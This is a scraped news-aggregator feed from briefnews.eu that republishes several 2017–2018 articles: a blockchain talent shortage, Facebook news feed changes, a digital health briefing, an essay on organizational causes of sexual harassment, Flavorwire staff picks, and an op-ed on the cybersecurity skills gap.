The blockchain’s sudden rise has created a talent shortage, and companies are struggling to meet their need for even rudimentary blockchain knowledge. With the stakes so high, companies are finding interesting ways to fill the talent gap.

1. In-house training

The estimated global revenue from enterprise blockchain applications is expected to rise from $ 2.5 billion to $ 19.9 billion by 2025. Between today and 2025, there is an enormous opportunity for organizations to build up the skill sets within their companies.

Some companies, including IBM, are devising their own training centers to fill the tremendous need for blockchain-related job openings. Equipped with an army of technically proficient professionals, IBM is using that knowledge and experience as a starting point for quickly training employees to develop blockchain technology.

According to its Developer Works blog, “IBM offers personalized online training for employees who work in blockchain, or for those employees who want to break into the field.” IBM’s courses are complete with certificates for acquired skills trainees can display on their resumes or LinkedIn profiles.

On a much smaller scale, Blockchain platform IOHK offered free summer blockchain classes to computer science graduates in hopes of getting more job-ready employees ready to contribute to its platform.

2. Outsourcing

According to PwC’s 2017 Digital IQ Survey, 36 percent of financial services executives said their organizations are planning to make significant investments in blockchain technology over the next three years.

Of course, many of these organizations don’t have the employment depth of conglomerates like IBM, and some 86 percent of financial services executives said their organizations haven’t yet developed the necessary blockchain skills. What’s more, even fewer have teams in place with enough expertise to provide any assurance around the technology. Therefore, companies are outsourcing blockchain development work to agencies and freelancers that specialize in this work.

Job-matching platform Upwork and LinkedIn (which experienced a 4.6x increase in Bitcoin-related job postings within the software technology industry from 2014 to 2017) both show blockchain- and Bitcoin-related capabilities are two of the most sought-after skills in tech.

With such high demand for blockchain-related freelancers, this option is not cheap. “The hourly rate ranges from $ 50 to more than $ 200,” reports CNBC. However, with blockchain technology becoming such a valuable part of the tech space, it’s increasingly worth the cost in order to avoid missing the opportunity.

3. New collar workers

Juniper Research reports that 57 percent of large corporations are either actively considering or already in the process of deploying blockchain technology. With so many open jobs and so few qualified applicants, companies don’t have the luxury of waiting for college graduates to fill the demand. They need help now, so many are turning to so-called “new collar jobs,” a term indicating a job class that does not require a college degree but that does require some training.

This approach is an interesting combination of traditional college recruitment, educational collaboration, and desperation. A September report by MSNBC highlighted the growing workforce-ready population that can be trained to complete specific blockchain development functions.

By providing well-paying jobs with limited training, companies can secure some of the talent they need to compete. A growing number of higher education institutes now offer blockchain training courses online. One Stanford University Professor, Dan Boneh, has received over a million signups for his course Computer Security and Cryptography.

All this demand for blockchain developers has placed a premium on those skills. A recent report by ComputerWorld indicated that, in some areas, “there is an $ 18,000 premium for software developers who can also create and manage blockchains.” This knowledge won’t remain a secret, and high schools and undergraduate computer science programs will soon begin pushing technology-minded students towards this field.

Until that point, companies will continue to struggle to find adequate talent. Bitcoin and other alternative currencies are becoming more ingrained in the mainstream financial system, and blockchain is growing in capability and usefulness. The race is on to find the most talented people possible to develop the most innovative technology available.

Ignacio De Marco is CEO of technology services company BairesDev.

]]> https://briefnews.eu/3-ways-organizations-are-dealing-with-the-blockchain-developer-shortage/feed/ 0 Facebook may already be putting its news feed changes in place — users say they’re seeing few posts from news or other organizations (FB) https://briefnews.eu/facebook-may-already-be-putting-its-news-feed-changes-in-place-users-say-theyre-seeing-few-posts-from-news-or-other-organizations-fb/ https://briefnews.eu/facebook-may-already-be-putting-its-news-feed-changes-in-place-users-say-theyre-seeing-few-posts-from-news-or-other-organizations-fb/#respond Sat, 13 Jan 2018 21:37:53 +0000 http://briefnews.eu/facebook-may-already-be-putting-its-news-feed-changes-in-place-users-say-theyre-seeing-few-posts-from-news-or-other-organizations-fb/ Facebook CEO Mark Zuckerberg

  • Facebook users contacted by Business Insider on Saturday said the posts they were seeing in their news feeds were mostly from friends or family members; they saw relatively few posts from organizations or people they follow.
  • Some said the ratio of posts from Facebook friends to those from organizations they follow was a big change from their past experience; others didn’t notice much of a change.
  • The observations follow the company’s announcement Thursday that it plans to make sweeping revisions to its site, including de-emphasizing in the news feeds posts from news and other organizations that users follow.

The next time you check Facebook, you may only see a few articles from news publications or posts from other organizations you follow — if you see any at all.

Facebook users contacted on Saturday said their news feeds — the list of posts you see right when you log into the Facebook webpage or load the social networking app — were dominated by posts from friends and family members. Users reported seeing few posts from organizations or people they follow that weren’t shared also by their friends. And some users — including this reporter and his wife — reported seeing none at all.

Kelly Snider, a San Jose resident, said she saw only a few sponsored posts and only a couple of posts from organizations she follows.

“The majority, way more than I ever saw before, is from friends,” Snider said. “It is overwhelmingly friends, and that is unusual to my eyes.”

Of the first 50 posts in Colin Stokes’ news feed, just 10 were from organizations or people he follows.

“I was surprised that the numbers were this skewed,” Stokes said. “I expected more balance.”

Facebook representatives did not immediately respond to an emailed request for comment.

Facebook has said big changes are coming to its news feed

Company executives Thursday announced sweeping changes to its service and particularly to the way the news feed feature works. Addressing criticism that its social network was yielding a negative effect on users’ well-being and being manipulated by organizations spreading propaganda or trying to illegitimately attract visitors to their sites, Facebook said it would give priority in its news feed to posts from users’ friends and family members and play down those from organizations and people they follow. The company did not say how soon it would put the changes in place.

The changes threaten to upend both news organizations and the way in which many users get news and information. Some 45% of US adults get news from Facebook, according to a Pew Research poll in September, and many news organization have come to depend on the traffic they get from the social networking — much of it generated from users clicking on stories they see in their news feeds.

Users’ observations about their own news feed may not necessarily show that Facebook has put the changes in place. The company customizes each user’s feed based in part on posts they’ve interacted with in the past. If users see in their news feeds few posts from organizations they follow, it could simply mean they’ve seldom clicked or commented on such posts in the past.

Some users who spoke to Business Insider said that while they were seeing relatively few posts from organizations they follow in their news feed, they didn’t think they were seeing much less than they’d seen before.

Gretchen Lembach, for example, said she only saw one post from a news outlet she follows in her news feed — and that one was also shared by one of her friends. But that didn’t seem unusual, said the Montclair, New Jersey, mom.

“I’d say it feels about the same,” Lembach said.

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]]> https://briefnews.eu/facebook-may-already-be-putting-its-news-feed-changes-in-place-users-say-theyre-seeing-few-posts-from-news-or-other-organizations-fb/feed/ 0 DIGITAL HEALTH BRIEFING: Salesforce continues push into healthcare — Acquisition by Humana highlights data sharing and analytics — The majority of healthcare organizations lack a cybersecurity leader https://briefnews.eu/digital-health-briefing-salesforce-continues-push-into-healthcare-acquisition-by-humana-highlights-data-sharing-and-analytics-the-majority-of-healthcare-organizations-lack-a-cyber/ https://briefnews.eu/digital-health-briefing-salesforce-continues-push-into-healthcare-acquisition-by-humana-highlights-data-sharing-and-analytics-the-majority-of-healthcare-organizations-lack-a-cyber/#respond Fri, 22 Dec 2017 19:26:42 +0000 http://briefnews.eu/digital-health-briefing-salesforce-continues-push-into-healthcare-acquisition-by-humana-highlights-data-sharing-and-analytics-the-majority-of-healthcare-organizations-lack-a-cyber/ Welcome to Digital Health Briefing, a new morning email providing the latest news, data, and insight on how digital technology is disrupting the healthcare ecosystem, produced by BI Intelligence.

Sign up and receive Digital Health Briefing free to your inbox.

Have feedback? We’d like to hear from you. Write me at: lbeaver@businessinsider.com.

SALESFORCE PUSHES FURTHER INTO HEALTHCARE WITH GENEIA PARTNERSHIP: Salesforce, a leading software-as-a-service CRM vendor, has continued to make strides in the healthcare space. It recently joined forces with analytics solution provider Geneia to launch a new app focused on population health and value-based care, according to Healthcare Dive. The joint solution combines Salesforce Health Cloud’s member engagement and communication tools with Geneia’s cost and quality analytic capabilities via its Theon platform. 

The Geneia app for Health Cloud is expected to help healthcare providers transitioning to value-based care reduce admissions, lower claims costs, and spot gaps in care. The Theon platform has already been shown to reduce inpatient hospital admissions by 7%, emergency department visits by roughly 8%, readmissions by 14%, and claims costs by 2%, according to Geneia. If Theon’s analytic features are integrated with Salesforce’s customer and patient management capabilities it could help bolster these outcomes. 

The app will help Salesforce strengthen its place in the healthcare industry, which it sees as a massive revenue opportunity. In 2014, Reuters reported that Salesforce was aiming to bring in $ 1 billion in annual revenue in coming years by ramping up investments in the healthcare industry. Since then the firm has introduced its Health Cloud patient management platform, added telemedicine tools, and it gave users new features to identify at-risk patients as well. In 2018, we could see Salesforce become even more aggressive in building out healthcare partnerships, especially if the firm wants to compete with other tech giants — Apple, Google, Amazon, and Microsoft have all been rapidly moving into the healthcare industry with new products, services, and partnerships. 

HUMANA HIGHLIGHTS DATA SHARING AND ANALYTICS IN KINDRED HEALTHCARE ACQUISITION: On Wednesday, US health insurer Humana announced that it will acquire 40% of Kindred at Home, the home health, hospice, and community care division of Kindred Healthcare. Two private equity firms control the remaining 60% of the business, but Humana has the option to buy more of Kindred over time, FierceHealthcare reports. Humana emphasized how the acquisition will bring robust data sharing capabilities, which will help the company build better predictive modeling and analytic services. These service will be offered to enable more informed interactions between patients and doctors during telehealth sessions. It will also improve physicians ability to drive quality outcomes for seniors living with chronic conditions. 

JUST OVER 80% OF HEALTHCARE ORGANIZATIONS LACK A CYBERSECURITY LEADER: Despite growing cybersecurity concerns in healthcare, just 15% of organizations have a designated C-suite leader to manage enterprise-wide data security efforts, according to a recent Black Book study. Further, just 11% of healthcare organizations without a chief information officer (CIO) say they are planning to hire for the position in the next year. This is concerning given the massive impact cyberattacks had on healthcare during 2017. For instance, the WannaCry virus shut down multiple hospitals in the UK and the Defray virus specifically targeted healthcare businesses. Four in five US doctors have experienced a cyberattack, according to a study by Accenture and the American Medical Association. Considering that a large share of cyberattacks are due to internal error, it’s becoming increasingly important that healthcare organizations do have a top-down, enterprise-wide data security policy in place.

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NEW TOOL HELPS PROVIDERS CALCULATE A PATIENT’S RISK OF OPIOID ADDICTION: Coordinated care organization Health Share of Oregon has partnered with data analytics firm Health Catalyst to create a tool capable of predicting a patient’s risk of opioid abuse, according to HealthcareITNews. The tool is able to calculate a patient’s risk of addiction and overdose by leveraging machine learning technology. This involves analyzing data, such as insurance claims and medication history, to give patients a score that can inform providers on the best approaches to care. This type of solution has the potential to reduce opioid addiction. In October, Health and Human Services (HHS) Secretary Eric D. Hargan declared the opioid epidemic a public health emergency at the request of US President Donald Trump. 

In other news…

  • Researchers at Intermountain Healthcare, a Utah-based healthcare system, created an app that alerts clinicians when a heart failure patient’s condition becomes more advanced, according to HealthcareITNews . The alert will give providers relevant information on the patient’s current condition and recommended therapy. 
  • HealthLoop, a patient engagement tool provider has partnered with health analytics platform, Sherbit. The partnership combines HealthLoop’s automated care plans and check-ins with Sherbit’s insight into patient activities to extend the reach of care teams. 

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]]> https://briefnews.eu/digital-health-briefing-salesforce-continues-push-into-healthcare-acquisition-by-humana-highlights-data-sharing-and-analytics-the-majority-of-healthcare-organizations-lack-a-cyber/feed/ 0 The 3 Things That Make Organizations More Prone to Sexual Harassment https://briefnews.eu/the-3-things-that-make-organizations-more-prone-to-sexual-harassment/ https://briefnews.eu/the-3-things-that-make-organizations-more-prone-to-sexual-harassment/#respond Mon, 27 Nov 2017 22:37:34 +0000 http://briefnews.eu/the-3-things-that-make-organizations-more-prone-to-sexual-harassment/ In the first earnings call after the head of Amazon Studios, Roy Price, resigned amid sexual-harassment allegations, Amazon’s CEO Jeff Bezos said nothing about Price’s departure. Bezos’ silence on the matter continued a pattern of inaction by the company.

Allegations were first made against Price in July of 2015. After an investigation, the only punishment meted out, according to a New York Times account attributed to an Amazon employee briefed on the matter, was that Price was told to watch his drinking at work functions. Despite an investigation and despite The Hollywood Reporter’s inquiry about the incident last spring, nothing more was done until recent news articles created a PR problem for the company. (Amazon declined to speak on the record.) Amazon then, finally, did make a change: In the end, Price was put on leave last month and resigned a few days later. The delay in meaningful discipline for Price led some current and former employees to wonder if that leniency was in some way connected to the company’s lack of women in senior leadership positions—according to the tech-news site Recode, Amazon has just one woman among its 18 top executives.

They weren’t wrong. Amazon seems to be typical of the sort of organization that researchers have found to be particularly prone to sexual harassment and abuse: male dominated, super hierarchical, and forgiving when it comes to bad behavior.

To start with, having more women employees, particularly in leadership roles, can reduce the incidence of harassment. Why? It’s not that women are somehow themselves preventing the behavior—in fact women too can be perpetrators—but that male-dominated organizations are more likely to have cultures characterized by aggressive and competitive behaviors and so-called locker-room culture. In addition, compared with women, men tend to have more trouble recognizing when women are being treated in an unfair or sexist way. This sets the stage for harassment: In such contexts, norms of professionalism can give way to boorish interactions in which women are treated as sexualized pawns rather than as valued and competent work colleagues. And if men are less likely to label what their male colleagues are doing as inappropriate, it can make matters worse.

What’s more is that in these hypermasculine settings, when women rise up the ranks, men can feel that their dominance is being threatened. In fact, the most common form of harassment is not the solicitation of sex, but rather what’s called gender harassment—sexist comments, obscene gestures, publicly displayed pornography—which serve as tools for putting women “in their place.” Women who violate feminine ideals by having a “man’s job” or behaving in “masculine” ways such as expressing strong opinions, being assertive, and having supervisory roles are more likely to experience such harassment.

Another general principle is that hierarchy seems to increase the odds of harassment occurring. Of course, most organizations are hierarchical to some extent, but what matters is the degree of the power imbalances among different people in the system. Studies have found that having power enables people to do as they please, often at the expense of taking other people’s perspectives into consideration. Research has also shown that in the minds of men with a high proclivity to harass, power and sex are closely linked. Moreover, their power shields them from scrutiny, criticism, and punishment. As a result, having power over others is often corruptive, in that it can lead people to behave badly, lack empathy, and even to engage in socially inappropriate or sexualized behavior. In contrast, powerlessness is associated with fear and embarrassment and a heightened sensitivity to threat. In contexts with greater hierarchy, higher-ups may be more inclined to behave badly, while at the same time subordinates are less able to push back.

A type of hierarchical situation that is rife for sexual harassment is one in which powerful individuals have a lot of discretion and a singular capacity to make or break an underling’s career. The Hollywood producer Harvey Weinstein, who has been accused of sexual assault and harassment, was for decades able to launch an unknown actress into stardom. (Holly Baird, a spokesperson for Weinstein, told The Atlantic that Weinstein “unequivocally denie[s]” any allegations of nonconsensual sex.) The venture capitalist Justin Caldbeck, who has been accused of unwanted and inappropriate advances, was in a position to provide badly needed funding to women entrepreneurs. (Caldbeck has denied the allegations and threatened to sue his accusers. He has also apologized and is now seeking to educate young men about “bro” culture. He declined to speak on the record for this article.) The U.C. Berkeley astronomy professor Geoff Marcy, who has been accused of behaving in an inappropriate and sexualized manner with students, had the power to write letters of recommendation to help women undergraduates get into graduate school. (Marcy disputes these accusations. A lawyer representing him referred The Atlantic to Marcy’s earlier public statements about the matter.) The story often follows similar lines: A harasser’s high status provides cover for their actions because victims and bystanders are leery of what will happen to them if they speak up. If the perpetrator holds the keys to your future, it can be hard to come forward or fight back. Time and again, harassers get away with it because there is a low probability of both discovery and punishment.

At its core, sexual harassment is about unequal power relations between men and women at work, at school, and in society at large. Vulnerability is a hallmark of both who gets targeted and why victims keep silent. The waitress earning minimum wage who is expected to put up with sexist comments from customers; the woman farmworker who is sexually assaulted in the field and then threatened into silence by her employer; the intern who must fend off repeated advances from a senior leader to keep her position. It is the most vulnerable women among us, those with less education, who hold low-paid service jobs or lower-level administrative jobs, who are racial and ethnic minorities, or who have been victimized before, who are harassed more frequently. And few victims ever come forward because of legitimate concerns that retribution could put them out of a job.

If power imbalances leave those at the bottom of the hierarchy vulnerable, more needs to be done to even out the scales. Strong HR departments that are empowered to protect employees and rewarded when they do, hotlines that are staffed (not recordings), and anonymous reporting mechanisms can do a lot to give voice to people who often have none.   

The third factor, and the single biggest predictor of sexual harassment on the job, is how permissive an organization is of this conduct. Permissive organizations are ones in which employees feel it is risky to report sexual harassment, think that their complaints won’t be taken seriously, and believe that perpetrators will face few to no consequences. This may seem circular, and in a way it is—harassment begets more harassment—but it also implies an important lesson: Cracking down on harassers, severely and transparently, discourages the behavior across an organization.

Quintessential examples of these kinds of permissive environments are companies like Uber and Fox News. At Uber, Susan Fowler said her repeated complaints to HR about harassment and exclusion went nowhere. Instead she was told that no actions would be taken against the perpetrator because he was a top performer. At Fox News, Bill O’Reilly was given another four-year, $ 25 million-a-year contract even after he settled a harassment case for $ 32 million and despite 21st Century Fox knowing about these allegations against him (though not about the amount of the settlement). At each company, these weren’t isolated incidents of unprofessional behavior. Rather, they reflected a larger problem. Uber ended up firing 20 people for harassment, bullying, and discrimination after an investigation of its workplace culture was conducted in the wake of Fowler’s blog post. And, in addition to O’Reilly, former Fox News CEO Roger Ailes and the Fox News host Eric Bolling have both left Fox News amid allegations of sexual harassment. (A spokesperson for 21st Century Fox said the company has taken “concerted action to transform Fox News,” including “increasing the channels through which employees can report harassment or discrimination.”)

What determines whether or not a company is tolerant of sexual harassment? In a word, leadership. Do managers work to prevent harassment by talking about company policies and modeling appropriate ways of treating and interacting with coworkers?  Do they ensure that claims of harassment are promptly investigated and that punishments are handed out—even when the perpetrator is a top performer or a higher-up? When leaders take sexual harassment seriously, it’s less likely to occur. The odds of it happening go up when company leaders condone misconduct by ignoring it, discouraging people from coming forward, failing to act, or engaging in harassing behaviors themselves.

Sexual harassment leads to many negative outcomes. Targets of harassment can have reduced mental and physical health, lower job satisfaction, and greater workplace withdrawal. They suffer real costs to their careers. When women have to quit to get away from threatening situations, they often wind up in lower-paying jobs with worse long-term professional prospects. There are organizational consequences as well, all of which hit the bottom line. Not only are the costs of litigation high, but in environments that are more hostile to women there can be more team conflict and reduced workgroup productivity.

As bad as all of this is, there is also the implication that companies can do a lot to address and prevent sexual harassment. Strong policies—with real teeth—and training are essential. In both, harassment should be clearly defined, protocols established for what employees should do when they see it happening, disciplinary consequences should be clear, confidentiality for the victim should be maintained, and retribution against him or her prohibited.

Gender equity efforts are also central. If male-dominated structures uphold a system of sexual harassment, such structures need to be changed, and women need to be promoted to upper levels. Even so, more women in management won’t alone eliminate sexual harassment, and plenty of organization with women in top leadership positions still have problems. But greater numbers of women can create more equity in the power men and women hold inside companies. More women can also do a lot to tamp down hypermasculine cultures that degrade and demean women. It appears Amazon Studios is cleaning house and moving in this direction, putting women executives into key leadership positions. This leadership shake-up came just weeks after Roy Price and a few of his male colleagues suddenly departed from the company and as Amazon Studios began an investigation into allegations that the Transparent star Jeffrey Tambor harassed a former assistant. (In a statement provided to Deadline, Tambor described the allegation as “baseless.” He also denied a separate allegation of harassment, and indicated he plans to leave the show.)

Men play an important role in counteracting sexism as well. Research shows that people take men’s complaints about sexism more seriously than they take women’s, perhaps because men are not seen as directly benefiting from doing so (and, perhaps, because people implicitly trust men more on these matters than they trust women, even though the vast majority of perpetrators are men and the vast majority of victims are women).                 

Ultimately, all of this comes down to whether senior leadership takes this issue seriously or not. A study from the military found that when women felt that their leaders were working to combat sexual harassment and modeled respectful behavior they reported experiencing less harassment and, if they filed a complaint, were more satisfied with what happened. Thus, when leaders take visible, consistent, and firm stands that sexual harassment won’t be tolerated, it creates safer and more inclusive environments. When leaders remain mum, as Jeff Bezos did on the earnings call, it can do the opposite.

Business | The Atlantic

]]> https://briefnews.eu/the-3-things-that-make-organizations-more-prone-to-sexual-harassment/feed/ 0 Staff Picks: Reese Witherspoon’s First Role, Lana Del Rey’s “Cherry,” Transgender Rights Organizations https://briefnews.eu/staff-picks-reese-witherspoons-first-role-lana-del-reys-cherry-transgender-rights-organizations/ https://briefnews.eu/staff-picks-reese-witherspoons-first-role-lana-del-reys-cherry-transgender-rights-organizations/#respond Thu, 27 Jul 2017 00:20:45 +0000 http://briefnews.eu/staff-picks-reese-witherspoons-first-role-lana-del-reys-cherry-transgender-rights-organizations/ Need a great book to read, album to listen to, or TV show to get hooked on? The Flavorwire team is here to help: in this weekly feature, our editorial staffers recommend the cultural object or experience they’ve enjoyed most in the past seven days. Scroll through for our picks below.

First of all:

In the midst of some of the most callous bullshit Republicans have pulledin a while this week (and bullshit that could be extremely harmful to transgender people), Donald Trump has managed to make the political week even more nauseating by using discriminatory and dehumanizing language earlier today to announce, on fucking Twitter, “After consultation with my Generals and military experts, please be advised that the United States Government will not accept or allow transgender individuals to serve in any capacity in the U.S. Military. Our military must be focused on decisive and overwhelming victory and cannot be burdened with the tremendous medical costs and disruption that transgender in the military would entail. Thank you.” By the way, apparently much of this sudden, gross decision was made to protect funding for the potential border wall, to which the ACLU has responded:

And also by the way, as the Washington Post reports, “total military spending on erectile dysfunction medicines amounts to $ 84 million annually, according to an analysis by the Military Times — 10 times the cost of annual transition-related medical care for active duty transgender servicemembers.” If you have the means, now’s a particularly important time to be supporting LGBT rights organizations to help stop the perpetuation of discrimination against trans people, both in this case, and in the wider societal trends it represents. Meanwhile, the ACLU has stated, “There is no basis for turning trans people away from our military and the ACLU is examining all of our options on how to fight this.” (Donate here.) And you can donate to the Transgender Law Center — which “changes law, policy, and attitudes so that all people can live safely, authentically, and free from discrimination regardless of their gender identity or expression” — here. Meanwhile, here’s the link to the donations page for the National Center for Transgender Equality, which “is a national social justice organization devoted to ending discrimination and violence against transgender people through education and advocacy on national issues of importance to transgender people.” And here are ways to get involved with/donate to LAMBDA Legal.

I’ll leave you on this long game goal that both acknowledges the insidiousness and harm of today’s tweeted announcement and also looks a step further:

— Moze Halperin, Senior Editor

Morgana

New documentary Morgana is the story of a 50-year-old housewife who reinvents herself as a feminist porn star not long after contemplating suicide. Directed and produced by an all-woman crew, Morgana is currently seeking crowdfunding on Kickstarter. “In a time where there is still a lack of 50+ female protagonists with a visible sexuality, Morgana offers a new perspective on the importance of sexual freedom for people of all ages,” shares the filmmaking team. The doc has the support of popular performers like Jiz Lee. — Alison Nastasi, Weekend Editor

The Man in the Moon on Blu-ray

This 1991 coming-of-age drama is one that’s been on my to-watch list basically since its release, so I’m glad Twilight Time’s recent-ish Blu-ray release gave me an excuse to finally get in front of it. The director is Robert Mulligan, best remembered for To Kill A Mockingbird, and it shares a decidedly Scout-like protagonist – played by then-newcomer Reese Witherspoon (complete with “Introducing” credit). She plays an outdoorsy, tomboy kid who has a romantic awakening courtesy of a new neighbor boy, and though it’s a period piece, the film’s portrayal of puppy love and heartbreak transcends any specific era. This is a movie that knows what it’s like to long for someone, with every fiber of your being, and how shattering it is when they don’t feel the same. The picture’s late turn to tragedy is manipulative, but effective; this is an old-fashioned movie, and that’s not intended as a slight. — Jason Bailey, Film Editor

Lana Del Rey’s “Cherry”

Beyond its title track, Lust for Life‘s standout for me thus far has been “Cherry” — a song whose muddled food references somehow combine two of Simon and Garfunkel’s four favorite herbs, the titular stemmed juicy classic, and ruined peaches into a sensually doom-y masterpieces whose excellence is framed by a series of perfectly delivered “bitch”es. It’s not just the food that’s gone bad: her “black beaches,” her rose gardens, and her “celluloid scenes” have also been ruined. Lana Del Rey continues delivering pu pu platters of overripe Americana. But the fact that here, and on much of Lust, the album serves them as rotting (or pulverized, or what have you — she’s unclear about what exactly ruined the peaches) makes the dish pair quite well with, well, everything (see above). Plus, the punctuating “bitch”es are pretty miraculous. — Moze Halperin, Senior Editor

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Flavorwire

]]> https://briefnews.eu/staff-picks-reese-witherspoons-first-role-lana-del-reys-cherry-transgender-rights-organizations/feed/ 0 Digital organizations face a huge cybersecurity skills gap https://briefnews.eu/digital-organizations-face-a-huge-cybersecurity-skills-gap/ https://briefnews.eu/digital-organizations-face-a-huge-cybersecurity-skills-gap/#respond Sun, 18 Jun 2017 16:17:09 +0000 http://briefnews.eu/digital-organizations-face-a-huge-cybersecurity-skills-gap/

GUEST:

Over the past five years, organizations have become more aware of cybersecurity, and yet DDoS, spear-phishing attacks, botnets, and other attack vectors have continued to get worse. Digital insecurity will continue for the foreseeable future, with the biggest reason being that we don’t have enough well-trained, skilled cybersecurity professionals to go around.

There are a few reasons for this gap.

First, from a hiring perspective, the trickle of security students emerging from post-secondary schools may not be fully prepared to tackle complicated security issues — what we need are people who can protect businesses environments from everything from spam and BYOD vulnerabilities to complex threats like APTs and spear phishing.

Second, certain companies may not know what to look for in a professional.

Third, when skilled professionals are hired, they can often be overworked to the point where they don’t have the time to keep up with the latest developments in the field — and even in their own security tools.

The result is that most positions go unfilled. In fact, according to the Information Audit and Control Association (IACA), about a quarter of all cybersecurity positions are left unfilled for about six months. The IACA study isn’t the only report with these dismal takeaways.

Another study by the Information Systems Security Association and Enterprise Strategy Group, reports that about 70 percent of surveyed organizations say the cybersecurity skills gap has impacted their business, with 54 percent reporting they’ve suffered at least one security event in 2016. Fifty-five percent of respondents also said the lack of skilled workers added to their security team’s workload so much that, in some cases (35 percent), their team couldn’t familiarize themselves with the security tools they use.

These are all systemic issues needing systemic answers that could take years to resolve. Still, these problems need to be addressed, and they won’t be until we change how cybersecurity experts are hired, retained, and educated.

Setting expectations is a good first step. Companies should have a clear understanding of what they need from a security professional and set their expectations accordingly. Typically, this will range from evaluating network and system ecosystems to routinely testing and prodding the companies’ security to establishing protocols and analyzing network attacks. Here, professional experience and the ability to communicate effectively within the organization are very important.

Companies should also have a robust mix of technical and theoretical problem solving questions for candidates. It should be long. It should be exhaustive. It should be tiring — but it’s necessary. The reason is simple: Candidates should have the endurance, determination, and focus to lay out how they came to their conclusions and the ability to explain their reasoning — clearly — in order to do their job. Good hackers think creatively to overcome technical problems, and your security engineers need to do the same in order to defend the company properly. Sticking with a problem for awhile and not giving up is a key trait to look for. Just remember: “Thinking like a hacker” is a must in this industry.

Another tactic is to give security teams the tools they need to succeed — and sometimes that just means giving them room to work. Giving employees the time to test new techniques, research new attacks, and analyze events is an important part of healthy security. Cybersecurity is a unique industry because it must identify and mitigate a variety of vulnerabilities in technologies that are constantly changing. Attack vectors come and go, but sometimes they resurface. Patches need issuing, and suspicious behavior needs analyzing — especially when executive-level endpoints are in play. Companies that don’t provide the space and the time for their security staff to keep their skills sharp, are setting themselves up to fail. Companies with successful security teams give them the time to conduct internal evaluations and regularly send them to security conferences for fresh perspectives and hands-on training.

The fundamental problem facing the skills gap, however, is that there aren’t enough people coming into the field to begin with. Here, companies need to do two things: step-up their advocacy when it comes to promoting cybersecurity careers, and look internally for employees who have the skills and desire to take on a security position but need the training and support to succeed. The first half is a long-term solution requiring a good deal of cooperation with career counselors in both high schools and post-secondary schools. The second half, however, is more of a short- to mid-term solution, but it’s just as viable — in some cases — as hiring dedicated security professionals. This is because cybersecurity shares many skills common to tech positions: creative thinking, technical know-how, and a dogged obsession with solving difficult problems.

Finally, businesses need to recognize that security threats today go well beyond just one department. Every employee should be responsible for knowing what to look for in an attack, how to report a suspected threat, and how they can simply disengage from content and files they deem suspicious. Basic security training needs to become a part of the onboarding process for any employee — especially for those in the C-Suite, where a greater number of spear-phishing attacks occur.

Closing the cybersecurity skills gap isn’t going to happen overnight — or likely even over the next decade. It’s going to be a long process because it’s going to take a fundamental shift in how businesses recruit, hire, and keep security talent. But it’s worth it in the long run for the company, its employees, and its customers.

Ryan Barrett is VP of Security and Privacy at Intermedia.

VentureBeat

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